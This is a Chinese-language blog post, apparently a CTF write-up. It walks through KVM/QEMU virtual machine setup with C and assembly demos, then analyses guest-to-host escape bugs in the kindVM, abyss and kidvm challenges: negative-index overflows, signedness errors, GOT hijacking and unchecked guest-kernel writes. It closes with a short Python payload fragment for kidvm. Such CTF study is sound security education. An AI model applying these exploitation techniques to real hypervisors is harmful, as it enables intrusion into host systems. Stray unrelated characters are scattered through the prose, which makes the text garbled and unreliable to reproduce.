Escape

一互例、鋪墊工作

1蝶溶、先說KVM:QEMU啟動過程

虛擬機(jī)的啟動過程基本上可以這么總結(jié):
創(chuàng)建kvm句柄->創(chuàng)建vm->分配內(nèi)存->加載鏡像到內(nèi)存->啟動線程執(zhí)行KVM_RUN膝蜈。從這個虛擬機(jī)的demo可以看出乙漓,虛擬機(jī)的內(nèi)存是由宿主機(jī)通過mmap調(diào)用映射給虛擬機(jī)的储狭,而vCPU是宿主機(jī)的一個線程互婿,這個線程通過設(shè)置相應(yīng)的vCPU的寄存器指定了虛擬機(jī)的程序加載地址后,開始運行虛擬機(jī)的指令辽狈,當(dāng)虛擬機(jī)執(zhí)行了IO操作后慈参,CPU捕獲到中斷并把執(zhí)行權(quán)又交回給宿主機(jī)。

虛擬機(jī)啟動過程

第一步刮萌,獲取到kvm句柄
kvmfd = open("/dev/kvm", O_RDWR);
第二步驮配,創(chuàng)建虛擬機(jī),獲取到虛擬機(jī)句柄尊勿。
vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
第三步僧凤,為虛擬機(jī)映射內(nèi)存,還有其他的PCI元扔,信號處理的初始化躯保。
ioctl(kvmfd, KVM_SET_USER_MEMORY_REGION, &mem);
第四步,將虛擬機(jī)鏡像映射到內(nèi)存澎语,相當(dāng)于物理機(jī)的boot過程途事,把鏡像映射到內(nèi)存。
第五步擅羞,創(chuàng)建vCPU尸变,并為vCPU分配內(nèi)存空間。
ioctl(kvmfd, KVM_CREATE_VCPU, vcpuid);
vcpu->kvm_run_mmap_size = ioctl(kvm->dev_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
第五步减俏,創(chuàng)建vCPU個數(shù)的線程并運行虛擬機(jī)召烂。
ioctl(kvm->vcpus->vcpu_fd, KVM_RUN, 0);
第六步,線程進(jìn)入循環(huán)娃承,并捕獲虛擬機(jī)退出原因,做相應(yīng)的處理。
這里的退出并不一定是虛擬機(jī)關(guān)機(jī)燃乍,虛擬機(jī)如果遇到IO操作叛本,訪問硬件設(shè)備提揍,缺頁中斷等都會退出執(zhí)行,退出執(zhí)行可以理解為將CPU執(zhí)行上下文返回到QEMU。

open("/dev/kvm")
ioctl(KVM_CREATE_VM)
ioctl(KVM_CREATE_VCPU)
for (;;) {
     ioctl(KVM_RUN)
     switch (exit_reason) {
     case KVM_EXIT_IO:  /* ... */
     case KVM_EXIT_HLT: /* ... */
     }
}

關(guān)于KVM_CREATE_VM參數(shù)的描述,創(chuàng)建的VM是沒有cpu和內(nèi)存的蒸痹,需要QEMU進(jìn)程利用mmap系統(tǒng)調(diào)用映射一塊內(nèi)存給VM的描述符,其實也就是給VM創(chuàng)建內(nèi)存的過程呛哟。

2叠荠、KVM API demo

下面是一個KVM的簡單demo,其目的在于加載 code 并使用KVM運行起來扫责。這是一個at&t的8086匯編蝙叛,.code16表示他是一個16位的,當(dāng)然直接運行是運行不起來的公给,為了讓他運行起來,我們可以用KVM提供的API蜘渣,將這個程序看做一個最簡單的操作系統(tǒng)淌铐,讓其運行起來。
這個匯編的作用是輸出al寄存器的值到0x3f8端口蔫缸。對于x86架構(gòu)來說腿准,通過IN/OUT指令訪問。PC架構(gòu)一共有65536個8bit的I/O端口拾碌,組成64KI/O地址空間吐葱,編號從0~0xFFFF。連續(xù)兩個8bit的端口可以組成一個16bit的端口校翔,連續(xù)4個組成一個32bit的端口弟跑。I/O地址空間和CPU的物理地址空間是兩個不同的概念,例如I/O地址空間為64K防症,一個32bit的CPU物理地址空間是4G孟辑。
最終程序理想的輸出應(yīng)該是al,bl的值后面KVM初始化的時候有賦值蔫敲。$\n (并不直接輸出\n饲嗽,而是換了一行),hlt 指令表示虛擬機(jī)退出奈嘿。

.globl _start
    .code16
_start:
    mov $0x3f8, %dx
    add %bl, %al
    add $'0', %al
    out %al, (%dx)
    mov $'\n', %al
    out %al, (%dx)
    hlt

我們編譯一下這個匯編貌虾,得到一個 Bin.bin 的二進(jìn)制文件:

as -32 bin.S -o bin.o
ld -m elf_i386 --oformat binary -N -e _start -Ttext 0x10000 -o Bin.bin bin.o

查看一下二進(jìn)制格式:

demo1 hexdump -C bin.bin
00000000  ba f8 03 00 d8 04 30 ee  b0 0a ee f4              |......0.....|
0000000c

對應(yīng)了下面的code數(shù)組,這樣直接加載字節(jié)碼就不需要再從文件加載了:

const uint8_t code[] = {
        0xba, 0xf8, 0x03, /* mov $0x3f8, %dx */
        0x00, 0xd8,       /* add %bl, %al */
        0x04, '0',        /* add $'0', %al */
        0xee,             /* out %al, (%dx) */
        0xb0, '\n',       /* mov $'\n', %al */
        0xee,             /* out %al, (%dx) */
        0xf4,             /* hlt */
    };
#include <err.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(void)
{
    int kvm, vmfd, vcpufd, ret;
    const uint8_t code[] = {
        0xba, 0xf8, 0x03, /* mov $0x3f8, %dx */
        0x00, 0xd8,       /* add %bl, %al */
        0x04, '0',        /* add $'0', %al */
        0xee,             /* out %al, (%dx) */
        0xb0, '\n',       /* mov $'\n', %al */
        0xee,             /* out %al, (%dx) */
        0xf4,             /* hlt */
    };
    uint8_t *mem;
    struct kvm_sregs sregs;
    size_t mmap_size;
    struct kvm_run *run;
    
    // 獲取 kvm 句柄
    kvm = open("/dev/kvm", O_RDWR | O_CLOEXEC);
    if (kvm == -1)
        err(1, "/dev/kvm");

    // 確保是正確的 API 版本
    ret = ioctl(kvm, KVM_GET_API_VERSION, NULL);
    if (ret == -1)
        err(1, "KVM_GET_API_VERSION");
    if (ret != 12)
        errx(1, "KVM_GET_API_VERSION %d, expected 12", ret);
    
    // 創(chuàng)建一虛擬機(jī)
    vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long)0);
    if (vmfd == -1)
        err(1, "KVM_CREATE_VM");
    
    // 為這個虛擬機(jī)申請內(nèi)存裙犹,并將代碼(鏡像)加載到虛擬機(jī)內(nèi)存中
    mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (!mem)
        err(1, "allocating guest memory");
    memcpy(mem, code, sizeof(code));

    // 為什么從 0x1000 開始呢尽狠,因為頁表空間的前4K是留給頁表目錄
    struct kvm_userspace_memory_region region = {
        .slot = 0,
        .guest_phys_addr = 0x1000,
        .memory_size = 0x1000,
        .userspace_addr = (uint64_t)mem,
    };
    // 設(shè)置 KVM 的內(nèi)存區(qū)域
    ret = ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region);
    if (ret == -1)
        err(1, "KVM_SET_USER_MEMORY_REGION");
    
    // 創(chuàng)建虛擬CPU
    vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long)0);
    if (vcpufd == -1)
        err(1, "KVM_CREATE_VCPU");

    // 獲取 KVM 運行時結(jié)構(gòu)的大小
    ret = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, NULL);
    if (ret == -1)
        err(1, "KVM_GET_VCPU_MMAP_SIZE");
    mmap_size = ret;
    if (mmap_size < sizeof(*run))
        errx(1, "KVM_GET_VCPU_MMAP_SIZE unexpectedly small");
    // 將 kvm run 與 vcpu 做關(guān)聯(lián)衔憨,這樣能夠獲取到kvm的運行時信息
    run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
    if (!run)
        err(1, "mmap vcpu");

    // 獲取特殊寄存器
    ret = ioctl(vcpufd, KVM_GET_SREGS, &sregs);
    if (ret == -1)
        err(1, "KVM_GET_SREGS");
    // 設(shè)置代碼段為從地址0處開始,我們的代碼被加載到了0x0000的起始位置
    sregs.cs.base = 0;
    sregs.cs.selector = 0;
    // KVM_SET_SREGS 設(shè)置特殊寄存器
    ret = ioctl(vcpufd, KVM_SET_SREGS, &sregs);
    if (ret == -1)
        err(1, "KVM_SET_SREGS");

    
    // 設(shè)置代碼的入口地址晚唇,相當(dāng)于32位main函數(shù)的地址巫财,這里16位匯編都是由0x1000處開始。
    // 如果是正式的鏡像哩陕,那么rip的值應(yīng)該是類似引導(dǎo)扇區(qū)加載進(jìn)來的指令
    struct kvm_regs regs = {
        .rip = 0x1000,
        .rax = 2,    // 設(shè)置 ax 寄存器初始值為 2
        .rbx = 2,    // 同理
        .rflags = 0x2,   // 初始化flags寄存器平项,x86架構(gòu)下需要設(shè)置,否則會粗錯
    };
    ret = ioctl(vcpufd, KVM_SET_REGS, &regs);
    if (ret == -1)
        err(1, "KVM_SET_REGS");

    // 開始運行虛擬機(jī)悍及,如果是qemu-kvm闽瓢,會用一個線程來執(zhí)行這個vCPU,并加載指令
    while (1) {
        // 開始運行虛擬機(jī)
        ret = ioctl(vcpufd, KVM_RUN, NULL);
        if (ret == -1)
            err(1, "KVM_RUN");
        // 獲取虛擬機(jī)退出原因
        switch (run->exit_reason) {
            case KVM_EXIT_HLT:
            puts("KVM_EXIT_HLT");
            return 0;
        // 匯編調(diào)用了 out 指令心赶,vmx 模式下不允許執(zhí)行這個操作扣讼,所以將操作權(quán)切換到了宿主機(jī),切換的時候會將上下文保存到VMCS寄存器
        // 后面CPU虛擬化會講到這部分
        // 因為虛擬機(jī)的內(nèi)存宿主機(jī)能夠直接讀取到缨叫,所以直接在宿主機(jī)上獲取到虛擬機(jī)的輸出(out指令)椭符,這也是后面PCI設(shè)備虛擬化的一個基礎(chǔ),DMA模式的PCI設(shè)備
        case KVM_EXIT_IO:
            if (run->io.direction == KVM_EXIT_IO_OUT && run->io.size == 1 && run->io.port == 0x3f8 && run->io.count == 1)
                putchar(*(((char *)run) + run->io.data_offset));
            else
                errx(1, "unhandled KVM_EXIT_IO");
            break;
        case KVM_EXIT_FAIL_ENTRY:
            errx(1, "KVM_EXIT_FAIL_ENTRY: hardware_entry_failure_reason = 0x%llx",
                 (unsigned long long)run->fail_entry.hardware_entry_failure_reason);
        case KVM_EXIT_INTERNAL_ERROR:
            errx(1, "KVM_EXIT_INTERNAL_ERROR: suberror = 0x%x", run->internal.suberror);
        default:
            errx(1, "exit_reason = 0x%x", run->exit_reason);
        }
    }
}

編譯并運行這個demo

gcc -g demo.c -o demo
demo1 ./demo
4
KVM_EXIT_HLT

3耻姥、簡單的QEMU emulator demo

qemu-kvm的啟動過程:

.globl _start
    .code16
_start:
    xorw %ax, %ax   # 將 ax 寄存器清零

loop1:
    out %ax, $0x10  # 像 0x10 的端口輸出 ax 的內(nèi)容销钝,at&t匯編的操作數(shù)和Intel的相反。
    inc %ax         # ax 值加一
    jmp loop1       # 繼續(xù)循環(huán)

這個匯編的作用就是一直不停的向0x10端口輸出一字節(jié)的值琐簇。

3.1從main函數(shù)開始說起

int main(int argc, char **argv) {
    int ret = 0;
    // 初始化kvm結(jié)構(gòu)體
    struct kvm *kvm = kvm_init();

    if (kvm == NULL) {
        fprintf(stderr, "kvm init fauilt\n");
        return -1;
    }
    
    // 創(chuàng)建VM蒸健,并分配內(nèi)存空間
    if (kvm_create_vm(kvm, RAM_SIZE) < 0) {
        fprintf(stderr, "create vm fault\n");
        return -1;
    }
    
    // 加載鏡像
    load_binary(kvm);

    // only support one vcpu now
    kvm->vcpu_number = 1;
    // 創(chuàng)建執(zhí)行現(xiàn)場
    kvm->vcpus = kvm_init_vcpu(kvm, 0, kvm_cpu_thread);
    
    // 啟動虛擬機(jī)
    kvm_run_vm(kvm);

    kvm_clean_vm(kvm);
    kvm_clean_vcpu(kvm->vcpus);
    kvm_clean(kvm);
}

第一步,調(diào)用kvm_init() 初始化了 kvm 結(jié)構(gòu)體婉商。先來看看怎么定義一個簡單的kvm似忧。

struct kvm {
   int dev_fd;              // /dev/kvm 的句柄
   int vm_fd;               // GUEST 的句柄
   __u64 ram_size;          // GUEST 的內(nèi)存大小
   __u64 ram_start;         // GUEST 的內(nèi)存起始地址,
                            // 這個地址是qemu emulator通過mmap映射的地址
   
   int kvm_version;         
   struct kvm_userspace_memory_region mem; // slot 內(nèi)存結(jié)構(gòu)丈秩,由用戶空間填充盯捌、
                                           // 允許對guest的地址做分段。將多個slot組成線性地址

   struct vcpu *vcpus;      // vcpu 數(shù)組
   int vcpu_number;         // vcpu 個數(shù)
};

初始化 kvm 結(jié)構(gòu)體蘑秽。

struct kvm *kvm_init(void) {
    struct kvm *kvm = malloc(sizeof(struct kvm));
    kvm->dev_fd = open(KVM_DEVICE, O_RDWR);  // 打開 /dev/kvm 獲取 kvm 句柄

    if (kvm->dev_fd < 0) {
        perror("open kvm device fault: ");
        return NULL;
    }

    kvm->kvm_version = ioctl(kvm->dev_fd, KVM_GET_API_VERSION, 0);  // 獲取 kvm API 版本

    return kvm;
}

第二步+第三步挽唉,創(chuàng)建虛擬機(jī),獲取到虛擬機(jī)句柄筷狼,并為其分配內(nèi)存瓶籽。

int kvm_create_vm(struct kvm *kvm, int ram_size) {
    int ret = 0;
    // 調(diào)用 KVM_CREATE_KVM 接口獲取 vm 句柄
    kvm->vm_fd = ioctl(kvm->dev_fd, KVM_CREATE_VM, 0);

    if (kvm->vm_fd < 0) {
        perror("can not create vm");
        return -1;
    }

    // 為 kvm 分配內(nèi)存。通過系統(tǒng)調(diào)用.
    kvm->ram_size = ram_size;
    kvm->ram_start =  (__u64)mmap(NULL, kvm->ram_size, 
                PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, 
                -1, 0);

    if ((void *)kvm->ram_start == MAP_FAILED) {
        perror("can not mmap ram");
        return -1;
    }
    
    // kvm->mem 結(jié)構(gòu)需要初始化后傳遞給 KVM_SET_USER_MEMORY_REGION 接口
    // 只有一個內(nèi)存槽
    kvm->mem.slot = 0;
    // guest 物理內(nèi)存起始地址
    kvm->mem.guest_phys_addr = 0;
    // 虛擬機(jī)內(nèi)存大小
    kvm->mem.memory_size = kvm->ram_size;
    // 虛擬機(jī)內(nèi)存在host上的用戶空間地址埂材,這里就是綁定內(nèi)存給guest
    kvm->mem.userspace_addr = kvm->ram_start;
    
    // 調(diào)用 KVM_SET_USER_MEMORY_REGION 為虛擬機(jī)分配內(nèi)存塑顺。
    ret = ioctl(kvm->vm_fd, KVM_SET_USER_MEMORY_REGION, &(kvm->mem));

    if (ret < 0) {
        perror("can not set user memory region");
        return ret;
    }
    return ret;
}

接下來就是load_binary把二進(jìn)制文件load到虛擬機(jī)的內(nèi)存中來,在第一個demo中我們是直接把字節(jié)碼放到了內(nèi)存中,這里模擬鏡像加載步驟严拒,把二進(jìn)制文件加載到內(nèi)存中扬绪。

void load_binary(struct kvm *kvm) {
    int fd = open(BINARY_FILE, O_RDONLY);  // 打開這個二進(jìn)制文件(鏡像)

    if (fd < 0) {
        fprintf(stderr, "can not open binary file\n");
        exit(1);
    }

    int ret = 0;
    char *p = (char *)kvm->ram_start;

    while(1) {
        ret = read(fd, p, 4096);           // 將鏡像內(nèi)容加載到虛擬機(jī)的內(nèi)存中
        if (ret <= 0) {
            break;
        }
        printf("read size: %d", ret);
        p += ret;
    }
}

加載完鏡像后,需要初始化vCPU裤唠,以便能夠運行鏡像內(nèi)容

struct vcpu {
    int vcpu_id;                 // vCPU id挤牛,vCPU
    int vcpu_fd;                 // vCPU 句柄
    pthread_t vcpu_thread;       // vCPU 線程句柄
    struct kvm_run *kvm_run;     // KVM 運行時結(jié)構(gòu),也可以看做是上下文
    int kvm_run_mmap_size;       // 運行時結(jié)構(gòu)大小
    struct kvm_regs regs;        // vCPU的寄存器
    struct kvm_sregs sregs;      // vCPU的特殊寄存器
    void *(*vcpu_thread_func)(void *);  // 線程執(zhí)行函數(shù)
};

struct vcpu *kvm_init_vcpu(struct kvm *kvm, int vcpu_id, void *(*fn)(void *)) {
    // 申請vcpu結(jié)構(gòu)
    struct vcpu *vcpu = malloc(sizeof(struct vcpu));
    // 只有一個 vCPU种蘸,所以這里只初始化一個
    vcpu->vcpu_id = 0;
    // 調(diào)用 KVM_CREATE_VCPU 獲取 vCPU 句柄墓赴,并關(guān)聯(lián)到kvm->vm_fd(由KVM_CREATE_VM返回)
    vcpu->vcpu_fd = ioctl(kvm->vm_fd, KVM_CREATE_VCPU, vcpu->vcpu_id);

    if (vcpu->vcpu_fd < 0) {
        perror("can not create vcpu");
        return NULL;
    }
    
    // 獲取KVM運行時結(jié)構(gòu)大小
    vcpu->kvm_run_mmap_size = ioctl(kvm->dev_fd, KVM_GET_VCPU_MMAP_SIZE, 0);

    if (vcpu->kvm_run_mmap_size < 0) {
        perror("can not get vcpu mmsize");
        return NULL;
    }

    printf("%d\n", vcpu->kvm_run_mmap_size);
    // 將 vcpu_fd 的內(nèi)存映射給 vcpu->kvm_run結(jié)構(gòu)。相當(dāng)于一個關(guān)聯(lián)操作
    // 以便能夠在虛擬機(jī)退出的時候獲取到vCPU的返回值等信息
    vcpu->kvm_run = mmap(NULL, vcpu->kvm_run_mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu->vcpu_fd, 0);

    if (vcpu->kvm_run == MAP_FAILED) {
        perror("can not mmap kvm_run");
        return NULL;
    }
    
    // 設(shè)置線程執(zhí)行函數(shù)
    vcpu->vcpu_thread_func = fn;
    return vcpu;
}

最后一步航瞭,以上工作就緒后诫硕,啟動虛擬機(jī)。

void kvm_run_vm(struct kvm *kvm) {
    int i = 0;

    for (i = 0; i < kvm->vcpu_number; i++) {
        // 啟動線程執(zhí)行 vcpu_thread_func 并將 kvm 結(jié)構(gòu)作為參數(shù)傳遞給線程
        if (pthread_create(&(kvm->vcpus->vcpu_thread), (const pthread_attr_t *)NULL, kvm->vcpus[i].vcpu_thread_func, kvm) != 0) {
            perror("can not create kvm thread");
            exit(1);
        }
    }

    pthread_join(kvm->vcpus->vcpu_thread, NULL);
}

啟動虛擬機(jī)其實就是創(chuàng)建線程刊侯,并執(zhí)行相應(yīng)的線程回調(diào)函數(shù)章办。線程回調(diào)函數(shù)在kvm_init_vcpu的時候傳入

void *kvm_cpu_thread(void *data) {
    // 獲取參數(shù)
    struct kvm *kvm = (struct kvm *)data;
    int ret = 0;
    // 設(shè)置KVM的參數(shù)
    kvm_reset_vcpu(kvm->vcpus);

    while (1) {
        printf("KVM start run\n");
        // 啟動虛擬機(jī),此時的虛擬機(jī)已經(jīng)有內(nèi)存和CPU了滨彻,可以運行起來了藕届。
        ret = ioctl(kvm->vcpus->vcpu_fd, KVM_RUN, 0);
    
        if (ret < 0) {
            fprintf(stderr, "KVM_RUN failed\n");
            exit(1);
        }
        
        // 前文 kvm_init_vcpu 函數(shù)中,將 kvm_run 關(guān)聯(lián)了 vCPU 結(jié)構(gòu)的內(nèi)存
        // 所以這里虛擬機(jī)退出的時候亭饵,可以獲取到 exit_reason翰舌,虛擬機(jī)退出原因
        switch (kvm->vcpus->kvm_run->exit_reason) {
        case KVM_EXIT_UNKNOWN:
            printf("KVM_EXIT_UNKNOWN\n");
            break;
        case KVM_EXIT_DEBUG:
            printf("KVM_EXIT_DEBUG\n");
            break;
        // 虛擬機(jī)執(zhí)行了IO操作,虛擬機(jī)模式下的CPU會暫停虛擬機(jī)并
        // 把執(zhí)行權(quán)交給emulator
        case KVM_EXIT_IO:
            printf("KVM_EXIT_IO\n");
            printf("out port: %d, data: %d\n", 
                kvm->vcpus->kvm_run->io.port,  
                *(int *)((char *)(kvm->vcpus->kvm_run) + kvm->vcpus->kvm_run->io.data_offset)
                );
            sleep(1);
            break;
        // 虛擬機(jī)執(zhí)行了memory map IO操作
        case KVM_EXIT_MMIO:
            printf("KVM_EXIT_MMIO\n");
            break;
        case KVM_EXIT_INTR:
            printf("KVM_EXIT_INTR\n");
            break;
        case KVM_EXIT_SHUTDOWN:
            printf("KVM_EXIT_SHUTDOWN\n");
            goto exit_kvm;
            break;
        default:
            printf("KVM PANIC\n");
            goto exit_kvm;
        }
    }

exit_kvm:
    return 0;
}

void kvm_reset_vcpu (struct vcpu *vcpu) {
    if (ioctl(vcpu->vcpu_fd, KVM_GET_SREGS, &(vcpu->sregs)) < 0) {
        perror("can not get sregs\n");
        exit(1);
    }
    // #define CODE_START 0x1000
    /* sregs 結(jié)構(gòu)體
        x86
        struct kvm_sregs {
            struct kvm_segment cs, ds, es, fs, gs, ss;
            struct kvm_segment tr, ldt;
            struct kvm_dtable gdt, idt;
            __u64 cr0, cr2, cr3, cr4, cr8;
            __u64 efer;
            __u64 apic_base;
            __u64 interrupt_bitmap[(KVM_NR_INTERRUPTS + 63) / 64];
        };
    */
    // cs 為code start寄存器冬骚,存放了程序的起始地址
    vcpu->sregs.cs.selector = CODE_START;
    vcpu->sregs.cs.base = CODE_START * 16;
    // ss 為堆棧寄存器,存放了堆棧的起始位置
    vcpu->sregs.ss.selector = CODE_START;
    vcpu->sregs.ss.base = CODE_START * 16;
    // ds 為數(shù)據(jù)段寄存器懂算,存放了數(shù)據(jù)開始地址
    vcpu->sregs.ds.selector = CODE_START;
    vcpu->sregs.ds.base = CODE_START *16;
    // es 為附加段寄存器
    vcpu->sregs.es.selector = CODE_START;
    vcpu->sregs.es.base = CODE_START * 16;
    // fs, gs 同樣為段寄存器
    vcpu->sregs.fs.selector = CODE_START;
    vcpu->sregs.fs.base = CODE_START * 16;
    vcpu->sregs.gs.selector = CODE_START;
    
    // 為vCPU設(shè)置以上寄存器的值
    if (ioctl(vcpu->vcpu_fd, KVM_SET_SREGS, &vcpu->sregs) < 0) {
        perror("can not set sregs");
        exit(1);
    }
    
    // 設(shè)置寄存器標(biāo)志位
    vcpu->regs.rflags = 0x0000000000000002ULL;
    // rip 表示了程序的起始指針只冻,地址為 0x0000000
    // 在加載鏡像的時候,我們直接將binary讀取到了虛擬機(jī)的內(nèi)存起始位
    // 所以虛擬機(jī)開始的時候會直接運行binary
    vcpu->regs.rip = 0;
    // rsp 為堆棧頂
    vcpu->regs.rsp = 0xffffffff;
    // rbp 為堆棧底部
    vcpu->regs.rbp= 0;

    if (ioctl(vcpu->vcpu_fd, KVM_SET_REGS, &(vcpu->regs)) < 0) {
        perror("KVM SET REGS\n");
        exit(1);
    }
}

運行一下結(jié)果计技,可以看到當(dāng)虛擬機(jī)執(zhí)行了指令 out %ax, $0x10 的時候喜德,會引起虛擬機(jī)的退出,這是CPU虛擬化里面將要介紹的特殊機(jī)制垮媒。宿主機(jī)獲取到虛擬機(jī)退出的原因后舍悯,獲取相應(yīng)的輸出。這里的步驟就類似于IO虛擬化睡雇,直接讀取IO模塊的內(nèi)存萌衬,并輸出結(jié)果。

kvmsample git:(master) ? ./kvmsample
read size: 712288
KVM start run
KVM_EXIT_IO
out port: 16, data: 0
KVM start run
KVM_EXIT_IO
out port: 16, data: 1
KVM start run
KVM_EXIT_IO
out port: 16, data: 2
KVM start run
KVM_EXIT_IO
out port: 16, data: 3
KVM start run
KVM_EXIT_IO
out port: 16, data: 4
...

4它抱、簡單VM題分析

對于VM題目秕豫,做的第一件事情應(yīng)該是進(jìn)行逆向分析,首先要搞明白出題人給出的guest和host系統(tǒng)之間如何進(jìn)行交互,以及你如何與guest系統(tǒng)之間交互混移。入門級的VM題目祠墅,漏洞一般就出現(xiàn)在這兩個地方。

4.1guest系統(tǒng)本身存在漏洞

首先看guest系統(tǒng)存在漏洞的:

有兩道題:seccon 2018 kindVM歌径,hitcon2018 abyss1毁嗦,首先我們需要逆向guest的elf文件,搞明白指令系統(tǒng)的運作模式回铛,對于這種指令系統(tǒng)狗准,一般需要malloc 三塊地址,一塊用來存放用戶輸入的指令勺届,一塊用于充當(dāng)寄存器驶俊,一塊用于充當(dāng)棧。其后會定義一系列的指令免姿,用于在棧和寄存器之間交換數(shù)據(jù)饼酿,以及處理棧上的數(shù)據(jù)。

因此做這種題目的第一步就是要找到指令變量 寄存器變量 和 棧變量這三塊地址胚膊,然后再具體的去分析每一個指令故俐。看指令的操作有沒有造成相應(yīng)的地址溢出或者是整數(shù)溢出紊婉。負(fù)數(shù)造成的數(shù)組溢出比較重要药版,這兩道題的漏洞點都在負(fù)數(shù)的溢出上。abyss在于swap指令中喻犁, 由于沒有嚴(yán)格的去檢查數(shù)組的下標(biāo)槽片,并且,用于充當(dāng)rsp的變量machine正好與棧相鄰肢础,這樣通過swap可以直接控制machine從而控制棧進(jìn)行任意寫还栓。看代碼可以發(fā)現(xiàn)传轰,正好可以將第一個字節(jié)的數(shù)改到machine剩盒,將其設(shè)置成負(fù)數(shù),可以修改got表進(jìn)行劫持慨蛙。

4.1

而kindvm則是int與unsigned int的轉(zhuǎn)換問題辽聊,代碼可見,v2變量是__int16期贫,但是在檢查的時候默認(rèn) 成了unsigned int跟匆,只比較是不是大于1020,因此只要設(shè)置成負(fù)數(shù)即可實現(xiàn)越界寫通砍。


4.2

4.2guest與host交互存在漏洞

上面的一種題型是最最最基礎(chǔ)的贾铝,更偏向于逆向的。首先我們要明白KVM創(chuàng)建虛擬機(jī)的流程,不明白的可以參考第一部分的文章垢揩。

我們主要關(guān)注的是客戶機(jī)內(nèi)存的映射問題玖绿。一般是先mmap一大段內(nèi)存,在host進(jìn)程中建立這段虛擬地址與物理地址的映射叁巨。之后在guest中通過映射這段mmap的虛擬地址來間接映射到實際的物理地址斑匪。但是這兩道vm逃逸的CTF題目都忘了去區(qū)分內(nèi)核地址與用戶地址,當(dāng)我們從guest中去訪問一個地址的時候锋勺,并沒有一種安全檢查機(jī)制去區(qū)分了是不是在訪問guest的kernel代碼段蚀瘸,因此輕而易舉的就可以執(zhí)行g(shù)uest內(nèi)核的任意寫和讀。

看abyss2和kidvm guest與host如何進(jìn)行溝通庶橱。abyss 通過in 和 out兩個IO指令觸發(fā)中斷贮勃,控制流返回host,在sub_1C7E中苏章,通過switch跳轉(zhuǎn)到特定的處理函數(shù)進(jìn)行處理寂嘉。


4.3

我們來看abyss2 kernel的read系統(tǒng)調(diào)用


4.4

可以看到首先用kmalloc申請了一塊內(nèi)存,長度是我們傳入的len枫绅。
4.5

之后調(diào)用了一個函數(shù)泉孩,將地址與0x800000000進(jìn)行&操作,最后將傳給了與host進(jìn)行交流的函數(shù)并淋。所以我認(rèn)為0x8000000000是guest中kernel的基址的虛擬地址寓搬,與0x8000000000進(jìn)行&操作之后,即可獲得對應(yīng)于host中mmap申請的物理地址县耽。也就是說guest的虛擬地址范圍是0x8000000000到0x8002000000句喷。

再來看sub_DC2函數(shù)。將上一步得到的緩沖區(qū)地址兔毙,和緩沖區(qū)長度都放入一塊kmalloc的地址中唾琼,之后獲得與新kmalloc的這塊地址對應(yīng)的 host中mmap的地址。通過out指令觸發(fā)中斷瞒御,將信息傳遞回host。


4.6

在host中通過直接向物理地址讀入信息神郊,返回guest后肴裙,通過qmemcpy將信息拷貝到guest中傳入的緩沖區(qū)中。

host中的涌乳,進(jìn)行了檢查蜻懦,但是這個檢查只檢查了buf的地址有沒有超出mmap申請的地址的范圍,并沒有檢查buf的位置是不是位于kernel的代碼段夕晓。length的長度同樣沒有進(jìn)行檢查宛乃,因此,我們只要通過觸發(fā)kmalloc的異常,使buf的值為0.我們就能任意寫的guest的kernel代碼征炼。

4.6

我們再來看kidvm析既,在malloc中的檢查中,會檢查ds:word_344中保存的malloc_top是否達(dá)到了0xb000谆奥,如果小于等于眼坏,就將申請的地址加上0x5000,可以看到這里malloc提供了一個簡單的保護(hù)機(jī)制,將代碼放在前0x5000中酸些。但是這是一個16位的系統(tǒng)宰译,因此如果我們申請的地址是0xb000,再加上0x5000魄懂,得到的結(jié)果是0x10000沿侈,16位即0.也就可以實現(xiàn)對guest內(nèi)核的任意寫了。


4.7

關(guān)于調(diào)試的一點經(jīng)驗

做kidvm的時候市栗,我發(fā)現(xiàn)沒辦法去調(diào)試缀拭,因為命令都是一次性發(fā)的,執(zhí)行完就結(jié)束了肃廓,沒辦法下斷點智厌,host的堆的情況也沒法看。于是我用了一種比較笨的方法:首先通過觸發(fā)漏洞盲赊,改寫kernel的代碼铣鹏,但是在代碼的最后通過一個跳轉(zhuǎn),使其陷入一個無限的nop+jump的循環(huán)哀蘑,不會讓程序直接結(jié)束诚卸,這樣在gdb ctrl+c 就可以進(jìn)行調(diào)試了。就像這樣:

shellcode  = alloc_host(0x80)#0
shellcode += alloc_host(0x80)#1 
shellcode += free_host(0)
shellcode += update_host(8,0,2)
shellcode += write_stdout(0x4000, 0x8, len(shellcode)+0x122)
shellcode += free_host(1)
shellcode += alloc_host(0x90)
shellcode += alloc_host(0x200)
shellcode += alloc_host(0x80)
shellcode += free_host(3)
shellcode += read_stdin(0x4000, 0x10, len(shellcode)+0x122)
shellcode += update_host(0x10,1,1)
#shellcode += read_stdin(0x4000, 0xe0, len(shellcode)+0x122)
#shellcode += update_host(0xe0, 3, 1)
ret = len(shellcode)
shellcode += "\xeb" + chr((ret-(len(shellcode)+2))&0xff)

總結(jié)

1.先逆向程序绘迁,通過找三塊關(guān)鍵點地址合溺,和通讀指令代碼,找到漏洞點所在缀台。
2.搞明白guest與host是如何進(jìn)行通信的棠赛。重點看host中有沒有相應(yīng)的保護(hù)機(jī)制,防止guest的kernel代碼被惡意改寫膛腐。
3.重點關(guān)注一下整數(shù)溢出睛约,int和unsigned int誤用等漏洞。

MMIO與PMIO

在計算機(jī)中哲身,內(nèi)存映射I/O(MMIO)和端口映射I/O(PMIO)是兩種互為補(bǔ)充的I/O方法辩涝,在CPU和外部設(shè)備之間。另一種方法是使用專用的I/O處理器勘天,通常為大型機(jī)上的通道怔揩,它們執(zhí)行自己特有的指令捉邢。

1. MMIO

